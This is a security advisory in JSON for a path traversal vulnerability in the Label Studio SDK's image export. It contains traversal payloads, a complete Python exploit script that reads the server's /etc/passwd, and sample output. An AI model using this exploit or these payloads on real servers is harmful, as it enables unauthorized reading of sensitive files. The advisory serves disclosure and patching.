CVE-2025-25295: Label studio sdk Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rgv9-w7jp-m23g",
  "modified" : "2025-02-14T18:40:06Z",
  "published" : "2025-02-14T15:16:40Z",
  "aliases" : [ "CVE-2025-25295" ],
  "summary" : "Label Studio has a Path Traversal Vulnerability via image Field",
  "details" : "## Description\nA path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:\n\n```python\ndef download(\n    url,\n    output_dir,\n    filename=None,\n    project_dir=None,\n    return_relative_path=False,\n    upload_dir=None,\n    download_resources=True,\n):\n    is_local_file = url.startswith(\"/data/\") and \"?d=\" in url\n    is_uploaded_file = url.startswith(\"/data/upload\")\n\n    if is_uploaded_file:\n        upload_dir = _get_upload_dir(project_dir, upload_dir)\n        filename = urllib.parse.unquote(url.replace(\"/data/upload/\", \"\"))\n        filepath = os.path.join(upload_dir, filename)\n        logger.debug(\n            f\"Copy {filepath} to {output_dir}\".format(\n                filepath=filepath, output_dir=output_dir\n            )\n        )\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        if return_relative_path:\n            return os.path.join(\n                os.path.basename(output_dir), os.path.basename(filename)\n            )\n        return filepath\n\n    if is_local_file:\n        filename, dir_path = url.split(\"/data/\", 1)[-1].split(\"?d=\")\n        dir_path = str(urllib.parse.unquote(dir_path))\n        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)\n        if not os.path.exists(filepath):\n            raise FileNotFoundError(filepath)\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        return filepath\n```\n\nBy creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.\n\nNote that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.\n\n## Steps to Reproduce\n1. Login to Label Studio\n2. Create project with image labeling configuration\n3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it\n4. Create task with path traversal in image field\n   \n    4.1. To trigger the `is_uploaded_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/upload/../../../../../etc/passwd\"\n     }\n   }\n   ```\n    4.2. To trigger the `is_local_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/local-files/?d=../../../etc/passwd\"\n     }\n   }\n   ```\n6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:\n   ```\n   GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true\n   ```\n7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file.\n\n\nAlternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:\n\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport zipfile\n\n\nBASE_URL = \"http://xbow-app-1:8000\"\nUSERNAME = \"test@test.com\"\nPASSWORD = \"Test123!@#\"\nMETHOD = \"is_uploaded_file\" # Valid values: \"is_uploaded_file\" or \"is_local_file\"\nEXPORT_TYPE = \"VOC\"         # Valid values: \"VOC\", \"COCO\" or \"YOLO\"\n\nprint(\"Signing up...\")\nurl = \"%s/user/signup/\" % BASE_URL\nsession = requests.Session()\n\n# First get the CSRF token\nresponse = session.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\ncsrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']\nprint(f\"Got CSRF token: {csrf_token}\")\n\n# Prepare registration data\ndata = {\n    'csrfmiddlewaretoken': csrf_token,\n    'email': USERNAME,\n    'password': PASSWORD,\n    'allow_newsletters': 'false',\n    'allow_newsletters_visual': 'false'\n}\n\nheaders = {\n    'Referer': url,\n    'Content-Type': 'application/x-www-form-urlencoded',\n}\n\n# Submit the registration request\nresponse = session.post(url, data=data, headers=headers)\nprint(f\"User registration response status code: {response.status_code}\\n\")\n\n# Login\nprint(\"Logging in...\")\nurl = \"%s/user/login\" % BASE_URL\n\n# Attempt login with our credentials\nlogin_data = {\n    'csrfmiddlewaretoken': csrf_token,\n    'email': USERNAME,\n    'password': PASSWORD,\n}\n\nheaders = {\n    'Referer': url,\n    'Content-Type': 'application/x-www-form-urlencoded',\n}\n\nresponse = session.post(url, data=login_data, headers=headers)\n\nprint(f\"Login response status code: {response.status_code}\")\n\n# Check if we got any tokens in the response\nprint(\"\\nCookies after login:\")\nfor cookie in session.cookies:\n    print(f\"{cookie.name}: {cookie.value}\")\n\n\n# We will use these headers moving forward\nheaders = {\n    'Content-Type': 'application/json',\n    'X-CSRFToken': session.cookies['csrftoken']\n}\n\n# Creat a project to then create a task associated to it\nprint(\"\\nCreating project...\")\n# Try to create a project with a file upload configuration\nproject_data = {\n    \"title\": \"File Upload Test\",\n    \"description\": \"Testing file upload functionality\",\n    \"label_config\": \"\"\"\n    <View>\n      <Image name=\"image\" value=\"$image\"/>\n      <Text name=\"text\" value=\"$text\"/>\n      <Choices name=\"choice\" toName=\"image\">\n        <Choice value=\"yes\"/>\n        <Choice value=\"no\"/>\n      </Choices>\n    </View>\n    \"\"\"\n}\nresponse = session.post(\"%s/api/projects/\" % BASE_URL, json=project_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating project, aborting\")\n    exit(0)    \nproject_id = response.json()['id']\nprint(f\"Project ID: {project_id}\\n\")\n\n# Create task using a filename to later abuse a path traversal vulnerability during file export\nprint(f\"Creating task with method {METHOD} (defaults to is_local_file)...\")\ntask_data = {}\nif (METHOD == \"is_uploaded_file\"):\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/upload/../../../../../etc/passwd\"    # Trigger for is_uploaded_file\n    }\nelse:\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/local-files/?d=../../../etc/passwd\" # Trigger for is_local_file\n    }\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/tasks\", json=task_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating task, aborting\")\n    exit(0)    \ntask_id = response.json()['id']\nprint(f\"Task created successfully, task id: {task_id}\\n\")\n\n# Issue a dummy upload request to force the creation of the ~/data/images/upload folder\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false\", files={\"bar.png\":\"data\"})\n\n# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)\nresponse = session.get(f\"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true\")\nif (response.status_code != 200):\n    print(\"Couldn't fetch export file\")\n    exit(0)\n\nfile_like_object = io.BytesIO(response.content)\nzipfile_ob = zipfile.ZipFile(file_like_object)\nprint(\"Dumping /etc/passwd file contents:\")\nprint(zipfile_ob.read(\"images/passwd\").decode(\"utf-8\"))\n\n```\n\nOutput:\n\n```\n$ python3 studio-min.py\nSigning up...\nGot CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6\nUser registration response status code: 200\n\nLogging in...\nLogin response status code: 200\n\nCookies after login:\ncsrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33\nsessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30\n\nCreating project...\nProject ID: 10\n\nCreating task with method is_uploaded_file (defaults to is_local_file)...\nTask created successfully, task id: 10\n\nDumping /etc/passwd file contents:\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nnginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin\n```\n\n## Mitigations\n- Validate and sanitize file paths\n- Add an allowlist of directories and file types\n- Implement file access controls\n- Use randomized file names and secure file storage abstraction\n\n## Impact\nAuthentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio-sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-25295"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio-sdk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-26" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-14T15:16:40Z",
    "nvd_published_at" : "2025-02-14T17:15:20Z"
  }
}